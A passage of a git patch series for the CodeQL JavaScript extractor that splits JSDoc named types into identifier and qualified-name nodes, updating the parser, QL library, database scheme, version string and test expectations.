.../src/com/semmle/js/ast/jsdoc/Visitor.java | 4 +- .../semmle/js/extractor/JSDocExtractor.java | 15 +++- .../src/com/semmle/js/parser/JSDocParser.java | 27 +++--- javascript/ql/lib/semmle/javascript/JSDoc.qll | 84 ++++++++++++++++--- .../ql/lib/semmlecode.javascript.dbscheme | 3 +- 7 files changed, 146 insertions(+), 30 deletions(-) rename javascript/extractor/src/com/semmle/js/ast/jsdoc/{NameExpression.java => Identifier.java} (65%) create mode 100644 javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java similarity index 65% rename from javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java rename to javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java index 94db5d32445..09b393e2d4c 100644 --- a/javascript/extractor/src/com/semmle/js/ast/jsdoc/NameExpression.java +++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Identifier.java @@ -2,12 +2,12 @@ package com.semmle.js.ast.jsdoc; import com.semmle.js.ast.SourceLocation; -/** A named JSDoc type. */ -public class NameExpression extends JSDocTypeExpression { +/** An identifier in a JSDoc type. */ +public class Identifier extends JSDocTypeExpression { private final String name; - public NameExpression(SourceLocation loc, String name) { - super(loc, "NameExpression"); + public Identifier(SourceLocation loc, String name) { + super(loc, "Identifier"); this.name = name; } diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java new file mode 100644 index 00000000000..93bebc6a358 --- /dev/null +++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/QualifiedNameExpression.java @@ -0,0 +1,35 @@ +package com.semmle.js.ast.jsdoc; + +import com.semmle.js.ast.SourceLocation; + +/** A qualified name in a JSDoc type. */ +public class QualifiedNameExpression extends JSDocTypeExpression { + private final JSDocTypeExpression base; + private final Identifier name; + + public QualifiedNameExpression(SourceLocation loc, JSDocTypeExpression base, Identifier name) { + super(loc, "QualifiedNameExpression"); + this.base = base; + this.name = name; + } + + @Override + public void accept(Visitor v) { + v.visit(this); + } + + /** Returns the expression on the left side of the dot character. */ + public JSDocTypeExpression getBase() { + return base; + } + + /** Returns the identifier on the right-hand side of the dot character. */ + public Identifier getNameNode() { + return name; + } + + @Override + public String pp() { + return base.pp() + "." + name.pp(); + } +} diff --git a/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java index 48a2edda1e7..571a3ed9a62 100644 --- a/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java +++ b/javascript/extractor/src/com/semmle/js/ast/jsdoc/Visitor.java @@ -10,7 +10,9 @@ public interface Visitor { public void visit(JSDocTag nd); - public void visit(NameExpression nd); + public void visit(Identifier nd); + + public void visit(QualifiedNameExpression nd); public void visit(NullableLiteral nd); diff --git a/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java index 86d1e1f6f79..2e951414733 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java @@ -9,13 +9,14 @@ import com.semmle.js.ast.jsdoc.JSDocComment; import com.semmle.js.ast.jsdoc.JSDocElement; import com.semmle.js.ast.jsdoc.JSDocTag; import com.semmle.js.ast.jsdoc.JSDocTypeExpression; -import com.semmle.js.ast.jsdoc.NameExpression; +import com.semmle.js.ast.jsdoc.Identifier; import com.semmle.js.ast.jsdoc.NonNullableType; import com.semmle.js.ast.jsdoc.NullLiteral; import com.semmle.js.ast.jsdoc.NullableLiteral; import com.semmle.js.ast.jsdoc.NullableType; import com.semmle.js.ast.jsdoc.OptionalType; import com.semmle.js.ast.jsdoc.ParameterType; +import com.semmle.js.ast.jsdoc.QualifiedNameExpression; import com.semmle.js.ast.jsdoc.RecordType; import com.semmle.js.ast.jsdoc.RestType; import com.semmle.js.ast.jsdoc.TypeApplication; @@ -42,7 +43,7 @@ public class JSDocExtractor { jsdocTypeExprKinds.put("UndefinedLiteral", 2); jsdocTypeExprKinds.put("NullableLiteral", 3); jsdocTypeExprKinds.put("VoidLiteral", 4); - jsdocTypeExprKinds.put("NameExpression", 5); + jsdocTypeExprKinds.put("Identifier", 5); jsdocTypeExprKinds.put("TypeApplication", 6); jsdocTypeExprKinds.put("NullableType", 7); jsdocTypeExprKinds.put("NonNullableType", 8); @@ -52,6 +53,7 @@ public class JSDocExtractor { jsdocTypeExprKinds.put("FunctionType", 12); jsdocTypeExprKinds.put("OptionalType", 13); jsdocTypeExprKinds.put("RestType", 14); + jsdocTypeExprKinds.put("QualifiedNameExpression", 15); } private final TrapWriter trapwriter; @@ -122,10 +124,17 @@ public class JSDocExtractor { } @Override - public void visit(NameExpression nd) { + public void visit(Identifier nd) { visit((JSDocTypeExpression) nd); } + @Override + public void visit(QualifiedNameExpression nd) { + Label label = visit((JSDocTypeExpression) nd); + visit(nd.getBase(), label, 0); + visit(nd.getNameNode(), label, 1); + } + @Override public void visit(NullableLiteral nd) { visit((JSDocTypeExpression) nd); diff --git a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java index 3db83c92176..e1b8b8b72ba 100644 --- a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java +++ b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java @@ -10,13 +10,14 @@ import com.semmle.js.ast.jsdoc.FunctionType; import com.semmle.js.ast.jsdoc.JSDocComment; import com.semmle.js.ast.jsdoc.JSDocTag; import com.semmle.js.ast.jsdoc.JSDocTypeExpression; -import com.semmle.js.ast.jsdoc.NameExpression; +import com.semmle.js.ast.jsdoc.Identifier; import com.semmle.js.ast.jsdoc.NonNullableType; import com.semmle.js.ast.jsdoc.NullLiteral; import com.semmle.js.ast.jsdoc.NullableLiteral; import com.semmle.js.ast.jsdoc.NullableType; import com.semmle.js.ast.jsdoc.OptionalType; import com.semmle.js.ast.jsdoc.ParameterType; +import com.semmle.js.ast.jsdoc.QualifiedNameExpression; import com.semmle.js.ast.jsdoc.RecordType; import com.semmle.js.ast.jsdoc.RestType; import com.semmle.js.ast.jsdoc.TypeApplication; @@ -827,10 +828,16 @@ public class JSDocParser { } private JSDocTypeExpression parseNameExpression() throws ParseError { - Object name = value; SourceLocation loc = loc(); expect(Token.NAME); - return finishNode(new NameExpression(loc, name.toString())); + // Hacky initial implementation with wrong locations + String[] parts = value.toString().split("\\."); + JSDocTypeExpression node = finishNode(new Identifier(loc, parts[0])); + for (int i = 1; i < parts.length; i++) { + Identifier memberName = finishNode(new Identifier(loc, parts[i])); + node = finishNode(new QualifiedNameExpression(loc, node, memberName)); + } + return node; } // TypeExpressionList := @@ -923,14 +930,14 @@ public class JSDocParser { SourceLocation loc = loc(); expr = parseTypeExpression(); - if (expr instanceof NameExpression && token == Token.COLON) { + if (expr instanceof Identifier && token == Token.COLON) { // Identifier ':' TypeExpression consume(Token.COLON); expr = finishNode( new ParameterType( new SourceLocation(loc), - ((NameExpression) expr).getName(), + ((Identifier) expr).getName(), parseTypeExpression())); } if (token == Token.EQUAL) { @@ -1106,7 +1113,7 @@ public class JSDocParser { consume(Token.RBRACK, "expected an array-style type declaration (' + value + '[])"); List expressions = new ArrayList<>(); expressions.add(expr); - NameExpression nameExpr = finishNode(new NameExpression(new SourceLocation(loc), "Array")); + Identifier nameExpr = finishNode(new Identifier(new SourceLocation(loc), "Array")); return finishNode(new TypeApplication(loc, nameExpr, expressions)); } @@ -1527,9 +1534,9 @@ public class JSDocParser { // fixed at the end if (isParamTitle(this._title) && this._tag.type != null - && this._tag.type instanceof NameExpression) { - this._extra_name = ((NameExpression) this._tag.type).getName(); - this._tag.name = ((NameExpression) this._tag.type).getName(); + && this._tag.type instanceof Identifier) { + this._extra_name = ((Identifier) this._tag.type).getName(); + this._tag.name = ((Identifier) this._tag.type).getName(); this._tag.type = null; } else { if (!this.addError("Missing or invalid tag name")) { @@ -1645,7 +1652,7 @@ public class JSDocParser { Position start = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn); Position end = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn); SourceLocation loc = new SourceLocation(_extra_name, start, end); - this._tag.type = new NameExpression(loc, _extra_name); + this._tag.type = new Identifier(loc, _extra_name); } this._tag.name = null; diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll index 6e1ea5caecb..9ea517cb075 100644 --- a/javascript/ql/lib/semmle/javascript/JSDoc.qll +++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll @@ -261,17 +261,14 @@ class JSDocVoidTypeExpr extends @jsdoc_void_type_expr, JSDocTypeExpr { } /** - * A type expression referring to a named type. + * An identifier in a JSDoc type expression, such as `Object` or `string`. * - * Example: - * - * ``` - * string - * Object - * ``` + * Note that qualified names consist of multiple identifier nodes. */ -class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr { - /** Gets the name of the type the expression refers to. */ +class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr { + /** + * Gets the name of the identifier. + */ string getName() { result = this.toString() } override predicate isString() { this.getName() = "string" } @@ -300,6 +297,71 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr { } override predicate isRawFunction() { this.getName() = "Function" } +} + +/** + * An unqualified identifier in a JSDoc type expression. + * + * Example: + * + * ``` + * string + * Object + * ``` + */ +class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr { + JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() } +} + +/** + * A qualified type name in a JSDoc type expression, such as `X.Y`. + */ +class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr { + /** + * Gets the base of this access, such as the `X` in `X.Y`. + */ + JSDocTypeExpr getBase() { result = this.getChild(0) } + + /** + * Gets the node naming the member being accessed, such as the `Y` node in `X.Y`. + */ + JSDocIdentifierTypeExpr getNameNode() { result = this.getChild(1) } + + /** + * Gets the name being accessed, such as `Y` in `X.Y`. + */ + string getName() { result = this.getNameNode().getName() } +} + +/** + * A type expression referring to a named type. + * + * Example: + * + * ``` + * string + * Object + * Namespace.Type + * ``` + */ +class JSDocNamedTypeExpr extends JSDocTypeExpr { + JSDocNamedTypeExpr() { + this instanceof JSDocLocalTypeAccess + or + this instanceof JSDocQualifiedTypeAccess + } + + /** + * Gets the name directly as it appears in this type, including any qualifiers. + * + * For example, for `X.Y` this gets the string `"X.Y"`. + */ + string getRawName() { result = this.toString() } + + /** + * DEPRECATED. Use `getRawName()` instead. + */ + deprecated string getName() { result = this.toString() } /** * Holds if this name consists of the unqualified name `prefix` @@ -311,7 +373,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr { */ predicate hasNameParts(string prefix, string suffix) { exists(string regex, string name | regex = "([^.]+)(.*)" | - name = this.getName() and + name = this.getRawName() and prefix = name.regexpCapture(regex, 1) and suffix = name.regexpCapture(regex, 2) ) @@ -340,7 +402,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr { globalName = this.resolvedName() or not exists(this.resolvedName()) and - globalName = this.getName() + globalName = this.getRawName() } override DataFlow::ClassNode getClass() { diff --git a/javascript/ql/lib/semmlecode.javascript.dbscheme b/javascript/ql/lib/semmlecode.javascript.dbscheme index 5b5db607d20..ccefb5e2d49 100644 --- a/javascript/ql/lib/semmlecode.javascript.dbscheme +++ b/javascript/ql/lib/semmlecode.javascript.dbscheme @@ -1001,7 +1001,7 @@ case @jsdoc_type_expr.kind of | 2 = @jsdoc_undefined_type_expr | 3 = @jsdoc_unknown_type_expr | 4 = @jsdoc_void_type_expr -| 5 = @jsdoc_named_type_expr +| 5 = @jsdoc_identifier_type_expr | 6 = @jsdoc_applied_type_expr | 7 = @jsdoc_nullable_type_expr | 8 = @jsdoc_non_nullable_type_expr @@ -1011,6 +1011,7 @@ case @jsdoc_type_expr.kind of | 12 = @jsdoc_function_type_expr | 13 = @jsdoc_optional_type_expr | 14 = @jsdoc_rest_type_expr +| 15 = @jsdoc_qualified_type_expr ; #keyset[id, idx] From fa53ff9f3ecabd5da5b3346093a48d0244a92780 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 13:48:09 +0100 Subject: [PATCH 096/121] JS: Update extractor version string --- javascript/extractor/src/com/semmle/js/extractor/Main.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/Main.java b/javascript/extractor/src/com/semmle/js/extractor/Main.java index 56e4e42dc54..0b92711b01d 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/Main.java +++ b/javascript/extractor/src/com/semmle/js/extractor/Main.java @@ -42,7 +42,7 @@ public class Main { * A version identifier that should be updated every time the extractor changes in such a way that * it may produce different tuples for the same file under the same {@link ExtractorConfig}. */ - public static final String EXTRACTOR_VERSION = "2025-02-03"; + public static final String EXTRACTOR_VERSION = "2025-03-20"; public static final Pattern NEWLINE = Pattern.compile("\n"); From 328bf753b49753eff31267c092e8f0a619d0f3b1 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 14:54:16 +0100 Subject: [PATCH 097/121] JS: Benign test updates --- .../JSDoc/NameResolution/test.expected | 5 +++++ .../test/library-tests/JSDoc/Nodes/tests.expected | 14 ++++++++++++++ .../JSDoc/JSDocTypeAnnotations.expected | 2 ++ 3 files changed, 21 insertions(+) diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected index 04bbd2a2ce0..855d1b59ff6 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected @@ -1,5 +1,10 @@ +| bar.js:5:14:5:18 | x | ns.very.long.namespace | | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo | +| bar.js:12:14:12:21 | iife | IIFE | | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo | +| closure.js:8:12:8:28 | goog | goog | +| closure.js:8:12:8:28 | goog.net | goog.net | | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType | +| closure.js:9:12:9:23 | net | goog.net | | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType | | closure.js:10:12:10:19 | SomeType | goog.net.SomeType | diff --git a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected index 32c716421c1..7ed69cb851f 100644 --- a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected +++ b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected @@ -278,6 +278,10 @@ test_JSDocTypeExpr | tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 | | tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 | | tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 | +| tst.js:68:14:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 | +| tst.js:68:14:68:34 | ds | tst.js:68:14:68:34 | goog.ds | 1 | +| tst.js:68:14:68:34 | goog | tst.js:68:14:68:34 | goog.ds | 0 | +| tst.js:68:14:68:34 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 | | tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 | | tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 | | tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 | @@ -298,6 +302,8 @@ test_JSDocTypeExpr | tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 | | tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 | | tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 | +| tst.js:219:13:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 | +| tst.js:219:13:219:27 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 | | tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 | | tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 | | tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 | @@ -311,10 +317,18 @@ test_JSDocTypeExpr | tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 | | tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 | | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 | +| tst.js:235:26:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 | +| tst.js:235:26:235:37 | goog | tst.js:235:26:235:37 | goog.ui | 0 | +| tst.js:235:26:235:37 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 | | tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 | +| tst.js:235:26:235:37 | ui | tst.js:235:26:235:37 | goog.ui | 1 | | tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 | | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 | +| tst.js:236:25:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 | +| tst.js:236:25:236:36 | goog | tst.js:236:25:236:36 | goog.ui | 0 | +| tst.js:236:25:236:36 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 | | tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 | +| tst.js:236:25:236:36 | ui | tst.js:236:25:236:36 | goog.ui | 1 | | tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 | | tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 | | tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 | diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected index bacfb98cdc6..983388d69a2 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected @@ -5,6 +5,8 @@ test_isNumber test_QualifiedName | VarType | tst.js:9:13:9:19 | VarType | | boolean | tst.js:5:14:5:20 | boolean | +| foo | tst.js:4:12:4:22 | foo | +| foo.bar | tst.js:4:12:4:22 | foo.bar | | foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz | | number | tst.js:3:12:3:17 | number | | string | tst.js:2:12:2:17 | string | From b1554443d8e3f8992d889b9fb3a0b065d434563f Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 14:55:27 +0100 Subject: [PATCH 098/121] JS: Update TRAP output --- .../tests/comments/output/trap/jsdoc.js.trap | 240 +++++++++--------- 1 file changed, 126 insertions(+), 114 deletions(-) diff --git a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap index 736a6b2d19f..b88a66b4f48 100644 --- a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap +++ b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap @@ -517,150 +517,162 @@ jsdoc_type_exprs(#20157,4,#20145,-1,"void") locations_default(#20158,#10000,11,60,11,63) hasLocation(#20157,#20158) #20159=* -jsdoc_type_exprs(#20159,5,#20145,-2,"goog.ui.Menu") +jsdoc_type_exprs(#20159,15,#20145,-2,"goog.ui.Menu") #20160=@"loc,{#10000},11,26,11,37" locations_default(#20160,#10000,11,26,11,37) hasLocation(#20159,#20160) -jsdoc_has_new_parameter(#20145) #20161=* -jsdoc_tags(#20161,"param",#20117,4,"@param") -#20162=@"loc,{#10000},12,5,12,10" -locations_default(#20162,#10000,12,5,12,10) -hasLocation(#20161,#20162) -jsdoc_tag_names(#20161,"var_args") +jsdoc_type_exprs(#20161,15,#20159,0,"goog.ui") +hasLocation(#20161,#20160) +#20162=* +jsdoc_type_exprs(#20162,5,#20161,0,"goog") +hasLocation(#20162,#20160) #20163=* -jsdoc_type_exprs(#20163,14,#20161,0,"...number") -#20164=@"loc,{#10000},12,13,12,21" -locations_default(#20164,#10000,12,13,12,21) -hasLocation(#20163,#20164) +jsdoc_type_exprs(#20163,5,#20161,1,"ui") +hasLocation(#20163,#20160) +#20164=* +jsdoc_type_exprs(#20164,5,#20159,1,"Menu") +hasLocation(#20164,#20160) +jsdoc_has_new_parameter(#20145) #20165=* -jsdoc_type_exprs(#20165,5,#20163,0,"number") -#20166=@"loc,{#10000},12,16,12,21" -locations_default(#20166,#10000,12,16,12,21) +jsdoc_tags(#20165,"param",#20117,4,"@param") +#20166=@"loc,{#10000},12,5,12,10" +locations_default(#20166,#10000,12,5,12,10) hasLocation(#20165,#20166) +jsdoc_tag_names(#20165,"var_args") #20167=* -jsdoc(#20167,"",#20010) -hasLocation(#20167,#20011) -#20168=* -jsdoc_tags(#20168,"param",#20167,0,"@param") -#20169=@"loc,{#10000},15,4,15,9" -locations_default(#20169,#10000,15,4,15,9) -hasLocation(#20168,#20169) -#20170=* -jsdoc_errors(#20170,#20168,"Missing or invalid tag name","Missing ... ag name") +jsdoc_type_exprs(#20167,14,#20165,0,"...number") +#20168=@"loc,{#10000},12,13,12,21" +locations_default(#20168,#10000,12,13,12,21) +hasLocation(#20167,#20168) +#20169=* +jsdoc_type_exprs(#20169,5,#20167,0,"number") +#20170=@"loc,{#10000},12,16,12,21" +locations_default(#20170,#10000,12,16,12,21) +hasLocation(#20169,#20170) #20171=* -jsdoc_tags(#20171,"param",#20167,1,"@param") -#20172=@"loc,{#10000},16,4,16,9" -locations_default(#20172,#10000,16,4,16,9) -hasLocation(#20171,#20172) -jsdoc_tag_names(#20171,"x") -#20173=* -jsdoc(#20173,"",#20012) -hasLocation(#20173,#20013) +jsdoc(#20171,"",#20010) +hasLocation(#20171,#20011) +#20172=* +jsdoc_tags(#20172,"param",#20171,0,"@param") +#20173=@"loc,{#10000},15,4,15,9" +locations_default(#20173,#10000,15,4,15,9) +hasLocation(#20172,#20173) #20174=* -jsdoc_tags(#20174,"",#20173,0,"@") -#20175=@"loc,{#10000},20,4,20,4" -locations_default(#20175,#10000,20,4,20,4) -hasLocation(#20174,#20175) -jsdoc_tag_descriptions(#20174,"{link a}") -#20176=* -jsdoc_errors(#20176,#20174,"Missing or invalid title","Missing ... d title") +jsdoc_errors(#20174,#20172,"Missing or invalid tag name","Missing ... ag name") +#20175=* +jsdoc_tags(#20175,"param",#20171,1,"@param") +#20176=@"loc,{#10000},16,4,16,9" +locations_default(#20176,#10000,16,4,16,9) +hasLocation(#20175,#20176) +jsdoc_tag_names(#20175,"x") #20177=* -jsdoc(#20177,"",#20014) -hasLocation(#20177,#20015) +jsdoc(#20177,"",#20012) +hasLocation(#20177,#20013) #20178=* -jsdoc_tags(#20178,"typedef",#20177,0,"@typedef") -#20179=@"loc,{#10000},24,4,24,11" -locations_default(#20179,#10000,24,4,24,11) +jsdoc_tags(#20178,"",#20177,0,"@") +#20179=@"loc,{#10000},20,4,20,4" +locations_default(#20179,#10000,20,4,20,4) hasLocation(#20178,#20179) -jsdoc_tag_descriptions(#20178,"{a}") +jsdoc_tag_descriptions(#20178,"{link a}") #20180=* -jsdoc_errors(#20180,#20178,"Missing or invalid tag type","Missing ... ag type") +jsdoc_errors(#20180,#20178,"Missing or invalid title","Missing ... d title") #20181=* -jsdoc(#20181,"[resize description]",#20016) -hasLocation(#20181,#20017) +jsdoc(#20181,"",#20014) +hasLocation(#20181,#20015) #20182=* -jsdoc_tags(#20182,"param",#20181,0,"@param") -#20183=@"loc,{#10000},30,4,30,9" -locations_default(#20183,#10000,30,4,30,9) +jsdoc_tags(#20182,"typedef",#20181,0,"@typedef") +#20183=@"loc,{#10000},24,4,24,11" +locations_default(#20183,#10000,24,4,24,11) hasLocation(#20182,#20183) -jsdoc_tag_descriptions(#20182,"[description] -") -jsdoc_tag_names(#20182,"w") +jsdoc_tag_descriptions(#20182,"{a}") #20184=* -jsdoc_type_exprs(#20184,10,#20182,0,"[type]") -#20185=@"loc,{#10000},30,13,30,18" -locations_default(#20185,#10000,30,13,30,18) -hasLocation(#20184,#20185) +jsdoc_errors(#20184,#20182,"Missing or invalid tag type","Missing ... ag type") +#20185=* +jsdoc(#20185,"[resize description]",#20016) +hasLocation(#20185,#20017) #20186=* -jsdoc_type_exprs(#20186,5,#20184,0,"type") -#20187=@"loc,{#10000},30,14,30,17" -locations_default(#20187,#10000,30,14,30,17) +jsdoc_tags(#20186,"param",#20185,0,"@param") +#20187=@"loc,{#10000},30,4,30,9" +locations_default(#20187,#10000,30,4,30,9) hasLocation(#20186,#20187) +jsdoc_tag_descriptions(#20186,"[description] +") +jsdoc_tag_names(#20186,"w") #20188=* -jsdoc_tags(#20188,"param",#20181,1,"@param") -#20189=@"loc,{#10000},31,4,31,9" -locations_default(#20189,#10000,31,4,31,9) +jsdoc_type_exprs(#20188,10,#20186,0,"[type]") +#20189=@"loc,{#10000},30,13,30,18" +locations_default(#20189,#10000,30,13,30,18) hasLocation(#20188,#20189) -jsdoc_tag_descriptions(#20188,"[description] -") #20190=* -jsdoc_tags(#20190,"return",#20181,2,"@return") -#20191=@"loc,{#10000},32,4,32,10" -locations_default(#20191,#10000,32,4,32,10) +jsdoc_type_exprs(#20190,5,#20188,0,"type") +#20191=@"loc,{#10000},30,14,30,17" +locations_default(#20191,#10000,30,14,30,17) hasLocation(#20190,#20191) -jsdoc_tag_descriptions(#20190,"[description]") #20192=* -jsdoc_type_exprs(#20192,10,#20190,0,"[type]") -#20193=@"loc,{#10000},32,13,32,18" -locations_default(#20193,#10000,32,13,32,18) +jsdoc_tags(#20192,"param",#20185,1,"@param") +#20193=@"loc,{#10000},31,4,31,9" +locations_default(#20193,#10000,31,4,31,9) hasLocation(#20192,#20193) -#20194=* -jsdoc_type_exprs(#20194,5,#20192,0,"type") -#20195=@"loc,{#10000},32,14,32,17" -locations_default(#20195,#10000,32,14,32,17) -hasLocation(#20194,#20195) -#20196=* -jsdoc(#20196,"",#20018) -hasLocation(#20196,#20019) -#20197=* -jsdoc_tags(#20197,"exports",#20196,0,"@exports") -#20198=@"loc,{#10000},36,3,36,10" -locations_default(#20198,#10000,36,3,36,10) -hasLocation(#20197,#20198) -jsdoc_tag_descriptions(#20197,"R +jsdoc_tag_descriptions(#20192,"[description] ") -#20199=* -jsdoc(#20199,"",#20020) -hasLocation(#20199,#20021) +#20194=* +jsdoc_tags(#20194,"return",#20185,2,"@return") +#20195=@"loc,{#10000},32,4,32,10" +locations_default(#20195,#10000,32,4,32,10) +hasLocation(#20194,#20195) +jsdoc_tag_descriptions(#20194,"[description]") +#20196=* +jsdoc_type_exprs(#20196,10,#20194,0,"[type]") +#20197=@"loc,{#10000},32,13,32,18" +locations_default(#20197,#10000,32,13,32,18) +hasLocation(#20196,#20197) +#20198=* +jsdoc_type_exprs(#20198,5,#20196,0,"type") +#20199=@"loc,{#10000},32,14,32,17" +locations_default(#20199,#10000,32,14,32,17) +hasLocation(#20198,#20199) #20200=* -jsdoc_tags(#20200,"typedef",#20199,0,"@typedef") -#20201=@"loc,{#10000},41,4,41,11" -locations_default(#20201,#10000,41,4,41,11) -hasLocation(#20200,#20201) -#20202=* -jsdoc_type_exprs(#20202,9,#20200,0,"{0: number}") -#20203=@"loc,{#10000},41,14,41,24" -locations_default(#20203,#10000,41,14,41,24) -hasLocation(#20202,#20203) -jsdoc_record_field_name(#20202,0,"0") +jsdoc(#20200,"",#20018) +hasLocation(#20200,#20019) +#20201=* +jsdoc_tags(#20201,"exports",#20200,0,"@exports") +#20202=@"loc,{#10000},36,3,36,10" +locations_default(#20202,#10000,36,3,36,10) +hasLocation(#20201,#20202) +jsdoc_tag_descriptions(#20201,"R +") +#20203=* +jsdoc(#20203,"",#20020) +hasLocation(#20203,#20021) #20204=* -jsdoc_type_exprs(#20204,5,#20202,0,"number") -#20205=@"loc,{#10000},41,18,41,23" -locations_default(#20205,#10000,41,18,41,23) +jsdoc_tags(#20204,"typedef",#20203,0,"@typedef") +#20205=@"loc,{#10000},41,4,41,11" +locations_default(#20205,#10000,41,4,41,11) hasLocation(#20204,#20205) +#20206=* +jsdoc_type_exprs(#20206,9,#20204,0,"{0: number}") +#20207=@"loc,{#10000},41,14,41,24" +locations_default(#20207,#10000,41,14,41,24) +hasLocation(#20206,#20207) +jsdoc_record_field_name(#20206,0,"0") +#20208=* +jsdoc_type_exprs(#20208,5,#20206,0,"number") +#20209=@"loc,{#10000},41,18,41,23" +locations_default(#20209,#10000,41,18,41,23) +hasLocation(#20208,#20209) toplevels(#20001,0) -#20206=@"loc,{#10000},1,1,43,0" -locations_default(#20206,#10000,1,1,43,0) -hasLocation(#20001,#20206) -#20207=* -entry_cfg_node(#20207,#20001) 